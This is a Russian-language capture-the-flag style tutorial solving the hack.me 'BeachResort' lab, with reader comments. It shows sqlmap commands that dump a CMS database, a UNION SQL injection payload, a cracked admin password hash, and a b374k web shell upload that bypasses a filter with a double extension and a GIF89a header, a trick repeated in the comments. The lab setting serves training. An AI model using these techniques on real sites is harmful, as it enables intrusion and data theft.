Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ

  • Tutorial


Всем доброго времени суток, сегодня не будет VulnHub'a. Сегодня рассмотрим его альтернативу hack.me. На котором содержится не мало интересных площадок для взлома, на различные темы. В этой статье рассмотрим BeachResort. Как пишет автор, это не типичный CTF, тут вместо флагов, нас просят проверить CMS сайта на безопасность, а заодно узнать следующее:

  1. Имя администратора сайта
  2. Название БД
  3. Список таблиц
  4. Список всех файлов в корневой директории CMS
  5. Лицензионный ключ
  6. Содержимое очень секретного файла

Приступим


После старта, нам становится доступна временная ссылка на уязвимый сайт. Побродив по сайту, ничего интересного на нём не находим, поэтому перейдём к сканированию скрытых директорий:

$ sudo dirsearch -u 'http://s60229-102657-xpo.croto.hack.me' -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 --random-agent



Сканируем дальше:

$ sudo dirsearch -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm' -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 --random-agent



Как и ожидалось, тут есть форма авторизации:



И так как от нас требуется узнать информацию о БД и её содержимом, то вероятно мы имеем дело с SQL injection. Осталось её найти:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch --dbs

Sqlmap успешно справился с поставленной задачей, выдал название базы данных: supercms и вот такой Payload:
Payload: user=admin' UNION ALL SELECT CONCAT(0x7176707a71,0x6964745475644f6f614968737948504a5a484b496a4f476355556b4172726d4f56766d6d53755276,0x71766a6b71)-- OFdY&pass=admin

Переходим к списку таблиц:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms --tables



Таблица groups нам не интересна, в задании что-то говорилось про лицензионный ключ. Посмотрим соответствующую таблицу:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms -T license --dump



Ещё 1 пункт завершён, осталось взглянуть на список пользователей, заодно, вероятно там должно быть имя администратора CMS:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms -T operators --dump



Админ найден, и даже большую часть паролей sqlmap за нас расшифровал, чтобы найти последний, воспользуемся Hashcat'ом:

$ sudo /opt/cudaHashcat/cudaHashcat32.bin -m 0 hashes /media/DATA/passwords/hashkiller-dict.txt

И через несколько секунд получаем требуемый пароль:

2bfea2ff114ccd30d95e176a1d25346a:!superadmin!

Пробуем авторизоваться, и попадаем вот на такую страницу:



В целом ничего интересного, кроме страницы с возможностью загрузить изображение:



Попробовав загрузить простенький шелл, получаем ошибку:



Ок, зальём туда b374k, предварительно обработав запрос плагином Tamper Data для Firefox. Всё что нужно, это заменить название файла в перехваченном запросе на b374k.gif.php, и добавив в начало файла сигнатуру GIF89а:



Отправляем запрос, получаем сообщение об успешной загрузке. Предположив, что по логике наша «шелл-картинка» должна загрузиться в директорию images, пробуем открыть только что загруженный файл:



Приступим к выполнению последних заданий, а именно получим список файлов и директорий:



Тут же находим файл secret.noop, который является последним звеном:



Все задания выполнены, можно смело отправлять ответы автору, для подтверждения прохождения.
Поделиться публикацией

Комментарии 11

    +2
    Мило, но этот конкретный вариант мне кажется избыточно простым. Ну и было бы приятнее, если бы приложение больше было похоже на настоящее.

    А вы встречали подобные приложения, у которых есть большое количество разработчиков, которые его регулярно обновляют и вносят туда новые фичи (или корректнее будет сказать «баги»)? Причём чтобы в идеале можно было собрать из уязвимых модулей свой вариант уязвимого приложения. А то довольно многие, включая меня, делают свои варианты приложений — а вот совместного творчества на эту тему я не видел.
      0

      Я с использованными в статье инструментами не знаком, поэтому, возможно, мой вопрос глупый. Но почему все они запускаются через sudo?

        +1
        для dirsearch и sqlmap не обязательно использовать sudo, тут дело вкуса, кто-то любит всё делать от root, как например в kali
          +2
          Делать всё, как Вы сказали, «от root» — есть дурной тон.
          0
          Дело в том, что на некоторых дистрибутивах без sudo, например, dirsearch не видит вордлист, т.к. он лежит в системном каталоге /usr/share/, и папка /wordlist/ воспринимается как обычный файл без прав суперпользователя.
          +1
          Похоже на пример того, как использовать прогу для взома сайтов сканеры. Руками намного интереснее, тем более такой простой пример. Я список таблиц получал через запросы в схему и group_concat. Получил море удовольствия. Не думаю, что мне было бы интересно использовать sqlmap для этого.
            0

            Я тоже сначала использовал одну из вариаций group_concat руками, а уже потом, чуть не начав писать свой инструмент, нагуглил sqlmap. Чувствовал себя довольным велосипедистом.

            0
            Кто-нибудь подскажет, где можно посмотреть инфу для новичка. Очень интересует, но как-то хорошего объяснения мало
              +1
              Попробуйте www.hackthissite.org, там практические задания в песочнице по нарастанию от совсем простых до более сложных. На форуме есть темы посвященные каждому заданию, причем явные спойлеры удаляются, остаются только наводки.
              0
              Подробнее можно как залить b374k? Благодарю.
                0
                Можно.
                • Подготавливаете PHP файл с шеллом;
                • В самое начало записываете сигнатуру GIF файла — это GIF89a (можно прям текстом, либо через HEX редактор);
                • Затем так как там стоит 2 фильтра: первый на форме (JS скрипт), второй в php-коде страницы. Можно либо изменить JS и загрузить ему сразу нужный файл с нужными заголовками в запросе. Либо как это делал я — перехватить запрос в момент отправки и подредактировать его, указав расширение файла и MIME тип

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

              Самое читаемое